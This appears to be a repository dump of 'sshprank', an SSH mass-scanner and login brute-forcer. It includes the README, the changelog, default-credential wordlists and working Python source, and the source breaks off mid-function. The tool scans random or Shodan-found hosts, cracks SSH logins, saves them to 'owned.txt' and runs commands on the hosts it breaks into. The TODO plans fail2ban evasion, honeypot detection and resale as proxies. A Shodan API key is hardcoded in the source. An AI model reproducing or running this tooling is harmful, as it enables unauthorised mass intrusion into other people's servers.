├── .gitignore ├── README.md ├── docs ├── LICENSE ├── TODO └── requirements.txt ├── lists ├── combo.txt ├── pws.txt └── user.txt └── sshprank.py /.gitignore: -------------------------------------------------------------------------------- 1 | .bash_history 2 | build.sh 3 | clean.sh 4 | *.db 5 | .DS_Store 6 | .git 7 | id_dsa 8 | id_rsa 9 | *.key 10 | *.log 11 | *.o 12 | owned.txt 13 | passwd 14 | paused.conf 15 | *.pyc 16 | __pycache__ 17 | shadow 18 | sshds.txt 19 | *.swn 20 | *.swo 21 | *.swp 22 | tags 23 | .vim.session 24 | .zhistory 25 | .zsh_history 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | A fast SSH mass-scanner, login cracker and banner grabber tool using the 4 | python-masscan and shodan module. 5 | 6 | # Usage 7 | 8 | ``` 9 | [ hacker@blackarch ~ ]$ sshprank -H 10 | __ __ 11 | __________/ /_ ____ _________ _____ / /__ 12 | / ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/ 13 | (__ |__ ) / / / /_/ / / / /_/ / / / / ,< 14 | /____/____/_/ /_/ .___/_/ \__,_/_/ /_/_/|_| 15 | /_/ 16 | 17 | --== [ by nullsecurity.net ] ==-- 18 | 19 | usage 20 | 21 | sshprank [opts] | 22 | 23 | modes 24 | 25 | -h - single host or host list to crack. multiple ports 26 | can be separated by comma, e.g.: 127.0.0.1:22,222,2022 27 | (default port: 22) 28 | 29 | -m [-r ] - pass arbitrary masscan opts, portscan given hosts and 30 | crack for logins. found sshd services will be saved to 31 | 'sshds.txt' in supported format for '-h' option and 32 | even for '-b'. use '-r' for generating random ipv4 33 | addresses rather than scanning given hosts. these 34 | options are always on: '-sS -oX - --open'. 35 | NOTE: if you intent to use the '--banner' option then 36 | you need to specify '--source-ip ' which 37 | is needed by masscan. better check masscan options! 38 | 39 | -s - search ssh servers using shodan and crack logins. 40 | see examples below. note: you need a better API key 41 | than this one i offer in order to search more than 100 42 | (= 1 page) ssh servers. so if you use this one use 43 | '1' for 'page'. 44 | 45 | -b - list of hosts to grab sshd banner from 46 | format: [:ports]. multiple ports can be 47 | separated by comma (default port: 22) 48 | 49 | options 50 | 51 | -r - generate random ipv4 addresses, check for open 52 | sshd port and crack for login (only with -m option!) 53 | -u - single username or user list (default: root) 54 | -p - single password or password list (default: root) 55 | -c - list of user:pass combination 56 | -C - read commands from file (line by line) or execute a 57 | single command on host if login was cracked 58 | -N - do not output ssh command results 59 | -x - num threads for parallel host crack (default: 50) 60 | -S - num threads for parallel service crack (default: 20) 61 | -X - num threads for parallel login crack (default: 5) 62 | -B - num threads for parallel banner grabbing (default: 70) 63 | -T - num sec for auth and connect timeout (default: 5s) 64 | -R - num sec for (banner) read timeout (default: 3s) 65 | -o - write found logins to file. format: 66 | ::: (default: owned.txt) 67 | -e - exclude host after first login was found. continue 68 | with other hosts instead 69 | -E - exit sshprank completely after first login was found 70 | -v - verbose mode. show found logins, sshds, etc. 71 | (default: off) 72 | 73 | misc 74 | 75 | -H - print help 76 | -V - print version information 77 | 78 | examples 79 | 80 | # crack targets from a given list with user admin, pw-list and 20 host-threads 81 | $ sshprank -h sshds.txt -u admin -P /tmp/passlist.txt -x 20 82 | 83 | # first scan then crack from founds ssh services using 'root:admin' 84 | $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \ 85 | --range 192.168.13.1/24' -p admin 86 | 87 | # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s 88 | # and crack logins using 'root:root' on found sshds 89 | $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v 90 | 91 | # search 50 ssh servers via shodan and crack logins using 'root:root' against 92 | # found sshds 93 | $ sshprank -s 'SSH;1;50' 94 | 95 | # grab banners and output to file with format supported for '-h' option 96 | $ sshprank -b hosts.txt > sshds2.txt 97 | ``` 98 | 99 | # Author 100 | 101 | noptrix 102 | 103 | # Notes 104 | 105 | - quick'n'dirty code 106 | - sshprank is already packaged and available for [BlackArch Linux](https://www.blackarch.org/) 107 | - My master-branches are always stable; dev-branches are created for current work. 108 | - All of my public stuff you find are officially announced and published via [nullsecurity.net](https://www.nullsecurity.net). 109 | 110 | # License 111 | 112 | Check docs/LICENSE. 113 | 114 | # Disclaimer 115 | We hereby emphasize, that the hacking related stuff found on 116 | [nullsecurity.net](http://nullsecurity.net/) are only for education purposes. 117 | We are not responsible for any damages. You are responsible for your own 118 | actions. 119 | -------------------------------------------------------------------------------- /docs/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2012-2021 noptrix 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /docs/TODO: -------------------------------------------------------------------------------- 1 | ===> 1.x.x 2 | 3 | [ ] add option to spoof client (paramiko) ssh-version 4 | [ ] license ( admin panel where i can add working passwords ) 5 | [ ] domain / ips brute 6 | [ ] working bingip2hosts 7 | [ ] anti fail2ban 8 | [ ] honeypot detection system 9 | [ ] sandbox detection 10 | [ ] no ssh saves to another files ( it's good for user as SOCKS 4 ) 11 | [ ] anti dupe system ( no double ) 12 | 13 | 14 | ===> 1.5.0 15 | 16 | [ ] randomize ipfile (sort as random ips.txt) 17 | [ ] random brute (take random ip from ips and random user:pass from user 18 | files ) and brute it 19 | 20 | 21 | ===> 1.4.1 22 | 23 | [x] updated help() and README.md (old options were present) 24 | 25 | 26 | ===> 1.4.0 27 | 28 | [x] updated lists/* (added more default passwords and usernames) 29 | [x] add 'exclude host after first login was found' option (-e) 30 | [x] add 'exit sshprank after first login was found' option (-E) 31 | [x] swap options: '-C' -> '-c' 32 | [x] merge options: '-l' -> '-h', '-U' -> '-u', '-P' -> '-p' 33 | 34 | 35 | ===> 1.3.5 36 | 37 | [x] remove pf.close() call 38 | 39 | 40 | ===> 1.3.4 41 | 42 | [x] remove open() calls 43 | 44 | 45 | ===> 1.3.3 46 | 47 | [x] use mmap to read wordlist files 48 | 49 | 50 | ===> 1.3.2 51 | 52 | [x] decrease default hosts threads num 53 | 54 | 55 | ===> 1.3.1 56 | 57 | [x] close file descriptor... 58 | 59 | 60 | ===> 1.3.0 61 | 62 | [x] updated default thread nums for host, service and login. 63 | [x] add new option to not output ssh command results ('-N') 64 | [x] read and run commands from file on target (github: #5) 65 | [x] fix high memory usage (github: #9) 66 | 67 | 68 | ===> 1.2.3 69 | 70 | [x] increase default auth and connect timeout 71 | [x] use 'info' for 'saved found sshds.txt' rather than 'good' 72 | [x] use status() for shodan_search() 73 | [x] updated short description in script file 74 | 75 | 76 | ===> 1.2.2 77 | 78 | [x] call log() only in one place after AuthenticationException occurs 79 | [x] skip further actions if targets file could not be read ('-l' option) 80 | 81 | 82 | ===> 1.2.1 83 | 84 | [x] only print exclusion infos in verbose mode 85 | [x] use spin() output for scanning and cracking targets 86 | [x] update wordings in the examples 87 | 88 | 89 | ===> 1.2.0 90 | 91 | [x] exclude targets if service is not running or pubkey auth only is supported 92 | 93 | 94 | ===> 1.1.3 95 | 96 | [x] print small info if login found (for non-verbose mode) 97 | [x] add uid (root) check for '-m' option 98 | [x] change wordings a bit 99 | 100 | 101 | ===> 1.1.0 102 | 103 | [x] fix color codes 104 | [x] use new python format style (f'{foo}') 105 | [x] add leet and important ascii banner 106 | 107 | 108 | ===> 1.0.0 109 | 110 | [x] mark stable + release 111 | 112 | 113 | ===> 0.0.3 114 | 115 | [x] implement remote ssh command exec 116 | [x] implement random target cracking 117 | [x] implement read timeout for banner grabbing 118 | [x] print found login only if '-v' was chosen 119 | [x] os exit on found login 120 | [x] remove colorama bullshit 121 | [x] fix banner grab issue (non-banner sshds, e.g. 'open' only were ignored) 122 | [x] by default don't use masscan's --banner option 123 | 124 | 125 | ===> 0.0.2 126 | 127 | [x] use deque() rather than lists for MT 128 | 129 | 130 | ===> 0.0.1 131 | 132 | [x] standalone file with all libraries included 133 | [x] asynchron multithreaded 134 | [x] grab banners 135 | [x] choose port for brute 136 | [x] initial version 137 | 138 | -------------------------------------------------------------------------------- /docs/requirements.txt: -------------------------------------------------------------------------------- 1 | paramiko 2 | python-masscan 3 | shodan 4 | -------------------------------------------------------------------------------- /lists/combo.txt: -------------------------------------------------------------------------------- 1 | accounting:accounting 2 | admin:admin 3 | demo:demo 4 | demos:demos 5 | dev:dev 6 | developer:developer 7 | ftp:ftp 8 | fwadmin:fwadmin 9 | guest01:guest01 10 | guest1:guest1 11 | guest:guest 12 | http:http 13 | installer:installer 14 | login:login 15 | mailadmin:mailadmin 16 | mail:mail 17 | maintainer:maintainer 18 | manager:manager 19 | monitor:monitor 20 | mysql:mysql 21 | nobody:nobody 22 | none:none 23 | operator:operator 24 | op:op 25 | oracle:oracle 26 | postgres:postgres 27 | power:power 28 | readonly:readonly 29 | root:root 30 | setup:setup 31 | ssh:ssh 32 | student:student 33 | superadmin:superadmin 34 | superuser:superuser 35 | sysadmin:sysadmin 36 | sys:sys 37 | system:system 38 | teacher:teacher 39 | tester:tester 40 | test:test 41 | tomcat:tomcat 42 | toor:toor 43 | user01:user01 44 | user1:user1 45 | user:user 46 | web01:web01 47 | web1:web1 48 | webadmin:webadmin 49 | webmaster:webmaster 50 | web:web 51 | www-data:www-data 52 | www:www 53 | -------------------------------------------------------------------------------- /lists/pws.txt: -------------------------------------------------------------------------------- 1 | !!!! 2 | .... 3 | 0000 4 | 00000000 5 | 1111 6 | 1234 7 | 12345 8 | 123456 9 | 1234567 10 | 12345678 11 | 123456789 12 | 1234567890 13 | 1234root 14 | 1234test 15 | 123admin 16 | 123demo 17 | 123dev 18 | 123login 19 | 123manager 20 | 123mysql 21 | 123none 22 | 123pass 23 | 123postgres 24 | 123root 25 | 123sys 26 | 123system 27 | 123test 28 | 123tomcat 29 | 123toor 30 | 123user 31 | 123web 32 | 123www 33 | 2222 34 | 3333 35 | 4444 36 | 5555 37 | 6666 38 | 7777 39 | 8888 40 | 9999 41 | accounting 42 | admin 43 | admin123 44 | Admin123 45 | Admin123! 46 | asdf 47 | asdf123 48 | asdf1234 49 | asdfg 50 | asdfg1234 51 | asdfg12345 52 | autumn 53 | Autumn 54 | autumn1 55 | autumn1! 56 | Autumn1 57 | Autumn1! 58 | autumn123 59 | autumn123! 60 | Autumn123 61 | Autumn123! 62 | black 63 | black1 64 | black1! 65 | black123 66 | black123! 67 | blue 68 | blue1 69 | blue1! 70 | blue123 71 | blue123! 72 | demo 73 | demo123 74 | demos 75 | dev 76 | dev123 77 | ftp 78 | fuck! 79 | fuck1 80 | fuck1! 81 | Fuck1 82 | fuck123! 83 | Fuck123 84 | Fuck123! 85 | fuckoff 86 | fuckoff! 87 | FuckOff 88 | fuckoff1 89 | fuckoff1! 90 | fuckoff123 91 | fuckoff123! 92 | fuckyou 93 | fuckyou! 94 | FuckYou 95 | FuckYou! 96 | FUCKYOU! 97 | FUCKYOU1! 98 | FuckYou123! 99 | FUCKYOU123 100 | fwadmin 101 | gold 102 | gold1 103 | gold1! 104 | gold123 105 | gold123! 106 | green 107 | guest 108 | guest01 109 | guest1 110 | http 111 | installer 112 | letmein 113 | login 114 | login! 115 | login123 116 | login1234 117 | mail 118 | mailadmin 119 | maintainer 120 | manager 121 | manager123 122 | master 123 | Master 124 | master1 125 | master1! 126 | Master1 127 | Master1! 128 | master123 129 | master123! 130 | Master123 131 | Master123! 132 | monitor 133 | mysql 134 | mysql123 135 | nobody 136 | none 137 | none123 138 | op 139 | operator 140 | oracle 141 | orange 142 | orange1 143 | orange1! 144 | orange123 145 | orange123! 146 | pass! 147 | PASS 148 | pass123 149 | Pass123! 150 | PASS123 151 | pass1234 152 | password 153 | PassWord 154 | PASSWORD 155 | password1 156 | password1! 157 | Password1 158 | Password1! 159 | password123 160 | password123! 161 | Password123 162 | Password123! 163 | pink 164 | pink1 165 | pink1! 166 | pink123 167 | pink123! 168 | postgres 169 | postgres123 170 | power 171 | power1 172 | power1! 173 | power123 174 | power123! 175 | p@ssw0rd 176 | P@ssw0rd 177 | p@ssword 178 | P@ssword 179 | purple 180 | purple1 181 | purple1! 182 | purple123 183 | purple123! 184 | pw123 185 | pw123! 186 | PW123 187 | PW123! 188 | pw1234 189 | PW1234 190 | PW1234! 191 | pwd 192 | pwd1 193 | pwd1! 194 | Pwd1! 195 | pwd123 196 | pwd123! 197 | pwer1234! 198 | qwerty 199 | qwerty123 200 | qwerty1234 201 | qwerty12345 202 | qwertz 203 | qwertz123 204 | qwertz1234 205 | qwertz12345 206 | readonly 207 | red 208 | red1 209 | red1! 210 | red123 211 | red123! 212 | root 213 | ROOT 214 | root123 215 | ROOT123 216 | root1234 217 | setup 218 | setup1 219 | setup1! 220 | setup123 221 | silver 222 | spring 223 | Spring 224 | SPRING 225 | spring1 226 | spring1! 227 | Spring1 228 | spring123 229 | spring123! 230 | Spring123 231 | Spring123! 232 | ssh 233 | ssh123 234 | ssh123! 235 | student 236 | summer 237 | SUMMER 238 | summer1 239 | summer1! 240 | Summer1 241 | Summer1! 242 | SUMMER1 243 | summer123 244 | Summer123! 245 | summer1234 246 | Summer1234 247 | superadmin 248 | superuser 249 | sys 250 | sys1 251 | sys1! 252 | sys123 253 | sysadmin 254 | system 255 | system1 256 | system1! 257 | system123 258 | System123 259 | System123! 260 | teacher 261 | test 262 | test1 263 | test1! 264 | test123 265 | test123! 266 | test1234 267 | tester 268 | tester1 269 | tester1! 270 | tester123 271 | tester1234 272 | testtest 273 | TestTest 274 | tomcat 275 | tomcat123 276 | toor 277 | toor123 278 | user 279 | user01 280 | user1 281 | user1! 282 | user123 283 | vagina 284 | Vagina 285 | vagina1 286 | vagina1! 287 | Vagina1 288 | vagina123 289 | vagina123! 290 | web 291 | web01 292 | web1 293 | web123 294 | webadmin 295 | webmaster 296 | webmaster123 297 | white 298 | white1 299 | white1! 300 | white123 301 | white123! 302 | winter 303 | Winter 304 | WINTER 305 | winter1 306 | winter1! 307 | Winter1 308 | Winter1! 309 | WINTER1 310 | winter123 311 | winter123! 312 | Winter123 313 | Winter123! 314 | www 315 | www123 316 | www-data 317 | yellow 318 | -------------------------------------------------------------------------------- /lists/user.txt: -------------------------------------------------------------------------------- 1 | accounting 2 | admin 3 | demo 4 | demos 5 | dev 6 | developer 7 | ftp 8 | fwadmin 9 | guest 10 | guest01 11 | guest1 12 | http 13 | installer 14 | login 15 | mail 16 | mailadmin 17 | maintainer 18 | manager 19 | monitor 20 | mysql 21 | nobody 22 | none 23 | op 24 | operator 25 | oracle 26 | postgres 27 | power 28 | readonly 29 | root 30 | setup 31 | ssh 32 | student 33 | superadmin 34 | superuser 35 | sys 36 | sysadmin 37 | system 38 | teacher 39 | test 40 | tester 41 | tomcat 42 | toor 43 | user 44 | user01 45 | user1 46 | web 47 | web01 48 | web1 49 | webadmin 50 | webmaster 51 | www 52 | www-data 53 | -------------------------------------------------------------------------------- /sshprank.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- ######################################################## 3 | # ____ _ __ # 4 | # ___ __ __/ / /__ ___ ______ ______(_) /___ __ # 5 | # / _ \/ // / / (_- [opts] | 69 | 70 | ''' + BOLD + '''modes''' + NORM + ''' 71 | 72 | -h - single host or host list to crack. multiple ports 73 | can be separated by comma, e.g.: 127.0.0.1:22,222,2022 74 | (default port: 22) 75 | 76 | -m [-r ] - pass arbitrary masscan opts, portscan given hosts and 77 | crack for logins. found sshd services will be saved to 78 | 'sshds.txt' in supported format for '-h' option and 79 | even for '-b'. use '-r' for generating random ipv4 80 | addresses rather than scanning given hosts. these 81 | options are always on: '-sS -oX - --open'. 82 | NOTE: if you intent to use the '--banner' option then 83 | you need to specify '--source-ip ' which 84 | is needed by masscan. better check masscan options! 85 | 86 | -s - search ssh servers using shodan and crack logins. 87 | see examples below. note: you need a better API key 88 | than this one i offer in order to search more than 100 89 | (= 1 page) ssh servers. so if you use this one use 90 | '1' for 'page'. 91 | 92 | -b - list of hosts to grab sshd banner from 93 | format: [:ports]. multiple ports can be 94 | separated by comma (default port: 22) 95 | 96 | ''' + BOLD + '''options''' + NORM + ''' 97 | 98 | -r - generate random ipv4 addresses, check for open 99 | sshd port and crack for login (only with -m option!) 100 | -u - single username or user list (default: root) 101 | -p - single password or password list (default: root) 102 | -c - list of user:pass combination 103 | -C - read commands from file (line by line) or execute a 104 | single command on host if login was cracked 105 | -N - do not output ssh command results 106 | -x - num threads for parallel host crack (default: 50) 107 | -S - num threads for parallel service crack (default: 20) 108 | -X - num threads for parallel login crack (default: 5) 109 | -B - num threads for parallel banner grabbing (default: 70) 110 | -T - num sec for auth and connect timeout (default: 5s) 111 | -R - num sec for (banner) read timeout (default: 3s) 112 | -o - write found logins to file. format: 113 | ::: (default: owned.txt) 114 | -e - exclude host after first login was found. continue 115 | with other hosts instead 116 | -E - exit sshprank completely after first login was found 117 | -v - verbose mode. show found logins, sshds, etc. 118 | (default: off) 119 | 120 | ''' + BOLD + '''misc''' + NORM + ''' 121 | 122 | -H - print help 123 | -V - print version information 124 | 125 | ''' + BOLD + '''examples''' + NORM + ''' 126 | 127 | # crack targets from a given list with user admin, pw-list and 20 host-threads 128 | $ sshprank -h sshds.txt -u admin -P /tmp/passlist.txt -x 20 129 | 130 | # first scan then crack from founds ssh services using 'root:admin' 131 | $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\ 132 | --range 192.168.13.1/24' -p admin 133 | 134 | # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s 135 | # and crack logins using 'root:root' on found sshds 136 | $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v 137 | 138 | # search 50 ssh servers via shodan and crack logins using 'root:root' against 139 | # found sshds 140 | $ sshprank -s 'SSH;1;50' 141 | 142 | # grab banners and output to file with format supported for '-h' option 143 | $ sshprank -b hosts.txt > sshds2.txt 144 | ''' 145 | 146 | stargets = [] # shodan 147 | excluded = {} 148 | opts = { 149 | 'targets': [], 150 | 'targetlist': [], 151 | 'masscan_opts': '--open ', 152 | 'sho_opts': None, 153 | 'sho_str': None, 154 | 'sho_page': None, 155 | 'sho_lim': None, 156 | 'sho_key': 'Pp1oDSiavzKQJSsRgdzuxFJs8PQXzBL9', 157 | 'user': 'root', 158 | 'pass': 'root', 159 | 'cmd': None, 160 | 'cmd_no_out': False, 161 | 'hthreads': 50, 162 | 'sthreads': 20, 163 | 'lthreads': 5, 164 | 'bthreads': 70, 165 | 'ctimeout': 5, 166 | 'rtimeout': 3, 167 | 'logfile': 'owned.txt', 168 | 'exclude': False, 169 | 'exit': False, 170 | 'verbose': False 171 | } 172 | 173 | 174 | def log(msg='', _type='normal', pre_esc='', esc='\n'): 175 | iprefix = f'{BOLD}{BLUE}[+] {NORM}' 176 | gprefix = f'{BOLD}{GREEN}[*] {NORM}' 177 | wprefix = f'{BOLD}{YELLOW}[!] {NORM}' 178 | eprefix = f'{BOLD}{RED}[-] {NORM}' 179 | 180 | if _type == 'normal': 181 | sys.stdout.write(f'{msg}') 182 | elif _type == 'verbose': 183 | sys.stdout.write(f' > {msg}{esc}') 184 | elif _type == 'info': 185 | sys.stderr.write(f'{pre_esc}{iprefix}{msg}{esc}') 186 | elif _type == 'good': 187 | sys.stderr.write(f'{pre_esc}{gprefix}{msg}{esc}') 188 | elif _type == 'warn': 189 | sys.stderr.write(f'{pre_esc}{wprefix}{msg}{esc}') 190 | elif _type == 'error': 191 | sys.stderr.write(f'{pre_esc}{eprefix}{msg}{esc}') 192 | os._exit(FAILURE) 193 | elif _type == 'spin': 194 | sys.stderr.flush() 195 | for i in ('-', '\\', '|', '/'): 196 | sys.stderr.write(f'{pre_esc}{BOLD}{BLUE}[{i}] {NORM}{msg}') 197 | #time.sleep(0.02) 198 | 199 | return 200 | 201 | 202 | def parse_target(target): 203 | if target.endswith(':'): 204 | target = target.rstrip(':') 205 | 206 | dtarget = {target.rstrip(): ['22']} 207 | 208 | if ':' in target: 209 | starget = target.split(':') 210 | if starget[1]: 211 | try: 212 | if ',' in starget[1]: 213 | ports = [p.rstrip() for p in starget[1].split(',')] 214 | else: 215 | ports = [starget[1].rstrip('\n')] 216 | ports = list(filter(None, ports)) 217 | dtarget = {starget[0].rstrip(): ports} 218 | except ValueError as err: 219 | log(err.args[0].lower(), 'error') 220 | 221 | return dtarget 222 | 223 | 224 | def read_file(_file): 225 | try: 226 | with open(_file, 'r', encoding='latin-1') as f: 227 | with mmap.mmap(f.fileno(), length=0, access=mmap.ACCESS_READ) as m: 228 | return m.read().decode('latin-1').split() 229 | except: 230 | log(f'could not read from {_file}', 'error') 231 | 232 | 233 | def parse_cmdline(cmdline): 234 | global opts 235 | 236 | try: 237 | _opts, _args = getopt.getopt(cmdline, 238 | 'h:m:s:b:r:u:p:c:C:Nx:S:X:B:T:R:o:eEvVH') 239 | for o, a in _opts: 240 | if o == '-h': 241 | if os.path.isfile(a): 242 | opts['targetlist'] = a 243 | else: 244 | opts['targets'] = parse_target(a) 245 | if o == '-m': 246 | opts['masscan_opts'] += a 247 | if o == '-s': 248 | opts['sho_opts'] = a 249 | if o == '-b': 250 | opts['targetlist'] = a 251 | if o == '-r': 252 | opts['random'] = int(a) 253 | if o == '-u': 254 | if os.path.isfile(a): 255 | opts['userlist'] = read_file(a) 256 | else: 257 | opts['user'] = a 258 | if o == '-p': 259 | if os.path.isfile(a): 260 | opts['passlist'] = read_file(a) 261 | else: 262 | opts['pass'] = a 263 | if o == '-c': 264 | opts['combolist'] = read_file(a) 265 | if o == '-C': 266 | opts['cmd'] = a 267 | if o == '-N': 268 | opts['cmd_no_out'] = True 269 | if o == '-x': 270 | opts['hthreads'] = int(a) 271 | if o == '-S': 272 | opts['sthreads'] = int(a) 273 | if o == '-X': 274 | opts['lthreads'] = int(a) 275 | if o == '-B': 276 | opts['bthreads'] = int(a) 277 | if o == '-T': 278 | opts['ctimeout'] = int(a) 279 | if o == '-R': 280 | opts['rtimeout'] = int(a) 281 | if o == '-o': 282 | opts['logfile'] = a 283 | if o == '-e': 284 | opts['exclude'] = True 285 | if o == '-E': 286 | opts['exit'] = True 287 | if o == '-v': 288 | opts['verbose'] = True 289 | if o == '-V': 290 | log(f'sshprank v{__version__}', _type='info') 291 | sys.exit(SUCCESS) 292 | if o == '-H': 293 | log(HELP) 294 | sys.exit(SUCCESS) 295 | except (getopt.GetoptError, ValueError) as err: 296 | log(err.args[0].lower(), 'error') 297 | 298 | return 299 | 300 | 301 | def check_argv(cmdline): 302 | modes = False 303 | needed = ['-h', '-m', '-s', '-b', '-H', '-V'] 304 | 305 | if set(needed).isdisjoint(set(cmdline)): 306 | log('wrong usage dude, check help', 'error') 307 | 308 | if '-h' in cmdline: 309 | if '-m' in cmdline or '-s' in cmdline or '-b' in cmdline: 310 | modes = True 311 | if '-m' in cmdline: 312 | if '-h' in cmdline or '-s' in cmdline or '-b' in cmdline: 313 | modes = True 314 | if '-s' in cmdline: 315 | if '-h' in cmdline or '-m' in cmdline or '-b' in cmdline: 316 | modes = True 317 | if '-b' in cmdline: 318 | if '-h' in cmdline or '-m' in cmdline or '-s' in cmdline: 319 | modes = True 320 | 321 | if modes: 322 | log('choose only one mode', 'error') 323 | 324 | return 325 | 326 | 327 | def check_argc(cmdline): 328 | if len(cmdline) == 0: 329 | log('use -H for help', 'error') 330 | 331 | return 332 | 333 | 334 | def grab_banner(host, port): 335 | try: 336 | with socket.create_connection((host, port), opts['ctimeout']) as s: 337 | s.settimeout(opts['rtimeout']) 338 | banner = str(s.recv(1024).decode('utf-8')).strip() 339 | if not banner: 340 | banner = '' 341 | log(f'{host}:{port}:{banner}\n') 342 | s.settimeout(None) 343 | except socket.timeout: 344 | if opts['verbose']: 345 | log(f'socket timeout: {host}:{port}', 'warn') 346 | except: 347 | if opts['verbose']: 348 | log(f'could not connect: {host}:{port}', 'warn') 349 | finally: 350 | s.close() 351 | 352 | return 353 | 354 | 355 | class PortScanner(masscan.PortScanner): 356 | @property 357 | def scan_result(self): 358 | return self._scan_result 359 | 360 | 361 | def portscan(): 362 | try: 363 | m = PortScanner() 364 | m.scan(hosts='', ports='0', arguments=opts['masscan_opts'], sudo=True) 365 | except masscan.NetworkConnectionError as err: 366 | log('\n') 367 | log('no sshds found or network unreachable', 'error') 368 | except Exception as err: 369 | log('\n') 370 | log(f'unknown masscan error occured: str({err})', 'error') 371 | 372 | return m 373 | 374 | 375 | def grep_service(scan, service='ssh', prot='tcp'): 376 | targets = [] 377 | 378 | scan_result = scan.scan_result 379 | for h in scan_result['scan'].keys(): 380 | for p in scan_result['scan'][h][prot]: 381 | if scan_result['scan'][h][prot][p]['state'] == 'open': 382 | if scan_result['scan'][h][prot][p]['services']: 383 | for s in scan_result['scan'][h][prot][p]['services']: 384 | target = f"{h}:{str(p)}:{s['banner']}\n" 385 | if opts['verbose']: 386 | log(f'found sshd: {target}', 'good', esc='') 387 | if service in s['name']: 388 | targets.append(target) 389 | else: 390 | if opts['verbose']: 391 | log(f'found sshd: {h}:{str(p)}:', 'good', esc='\n') 392 | targets.append(f'{h}:{str(p)}:\n') 393 | 394 | return targets 395 | 396 | 397 | def log_targets(targets, logfile): 398 | try: 399 | with open(logfile, 'a+') as f: 400 | f.writelines(targets) 401 | except (FileNotFoundError, PermissionError) as err: 402 | log(f'{err.args[1].lower()}: {logfile}', 'error') 403 | 404 | return 405 | 406 | 407 | def status(future, msg, pre_esc=''): 408 | while future.running(): 409 | log(msg, 'spin', pre_esc) 410 | 411 | return 412 | 413 | 414 | def crack_login(host, port, username, password): 415 | global excluded 416 | 417 | cli = paramiko.SSHClient() 418 | cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 419 | 420 | try: 421 | if port not in excluded[host]: 422 | cli.connect(host, port, username, password, timeout=opts['ctimeout'], 423 | allow_agent=False, look_for_keys=False, auth_timeout=opts['ctimeout']) 424 | login = f'{host}:{port}:{username}:{password}' 425 | log_targets(f'{login}\n', opts['logfile']) 426 | if opts['exclude']: 427 | excluded[host].add(port) 428 | if opts['verbose']: 429 | log(f'found login: {login}', _type='good') 430 | else: 431 | log(f'found a login (check {opts["logfile"]})', _type='good') 432 | if opts['cmd']: 433 | if os.path.isfile(opts['cmd']): 434 | log(f"sending ssh commands from {opts['cmd']}", 'info') 435 | with open(opts['cmd'], 'r', encoding='latin-1') as _file: 436 | for line in _file: 437 | stdin, stdout, stderr = cli.exec_command(line, timeout=2) 438 | if not opts['cmd_no_out']: 439 | rl = stdout.readlines() 440 | if len(rl) > 0: 441 | log(f'ssh command result for: \'{line.rstrip()}\'', 'good', 442 | pre_esc='\n') 443 | for line in rl: 444 | log(f'{line}') 445 | else: 446 | log('sending your single ssh command line', 'info') 447 | if not opts['cmd_no_out']: 448 | stdin, stdout, stderr = cli.exec_command(opts['cmd'], timeout=2) 449 | log(f"ssh command results for \'{opts['cmd'].rstrip()}\'", 'good') 450 | for line in stdout.readlines(): 451 | log(line) 452 | if opts['exit']: 453 | log('game over', 'info') 454 | os._exit(SUCCESS) 455 | return SUCCESS 456 | except paramiko.AuthenticationException as err: 457 | if opts['verbose']: 458 | if 'publickey' in str(err): 459 | reason = 'pubkey auth' 460 | excluded[host].add(port) 461 | elif 'Authentication failed' in str(err): 462 | reason = 'auth failed' 463 | elif 'Authentication timeout' in str(err): 464 | reason = 'auth timeout' 465 | else: 466 | reason = 'unknown' 467 | log(f'login failure: {host}:{port} ({reason})', 'warn') 468 | else: 469 | pass 470 | except (paramiko.ssh_exception.NoValidConnectionsError, socket.error): 471 | if opts['verbose']: 472 | log(f'could not connect: {host}:{port}', 'warn') 473 | excluded[host].add(port) 474 | except paramiko.SSHException as err: 475 | #if opts['verbose']: 476 | # log(f'paramiko: {str(err)}', 'warn') 477 | pass 478 | except Exception as err: 479 | #if opts['verbose']: 480 | # log(f'other error: {str(err)}', 'warn') 481 | pass 482 | finally: 483 | cli.close() 484 | 485 | return 486 | 487 | 488 | def run_threads(host, ports, val='single'): 489 | global excluded 490 | 491 | excluded[host] = set() 492 | 493 | with ThreadPoolExecutor(opts['sthreads']) as e: 494 | for port in ports: 495 | if port not in excluded[host]: 496 | e.submit(crack_login, host, port, opts['user'], opts['pass']) 497 | 498 | with ThreadPoolExecutor(opts['lthreads']) as exe: 499 | if 'userlist' in opts and 'passlist' in opts: 500 | for u in opts['userlist']: 501 | for p in opts['passlist']: 502 | exe.submit(crack_login, host, port, u.rstrip(), p.rstrip()) 503 | 504 | if 'userlist' in opts and 'passlist' not in opts: 505 | for u in opts['userlist']: 506 | exe.submit(crack_login, host, port, u.rstrip(), opts['pass']) 507 | 508 | if 'passlist' in opts and 'userlist' not in opts: 509 | for p in opts['passlist']: 510 | 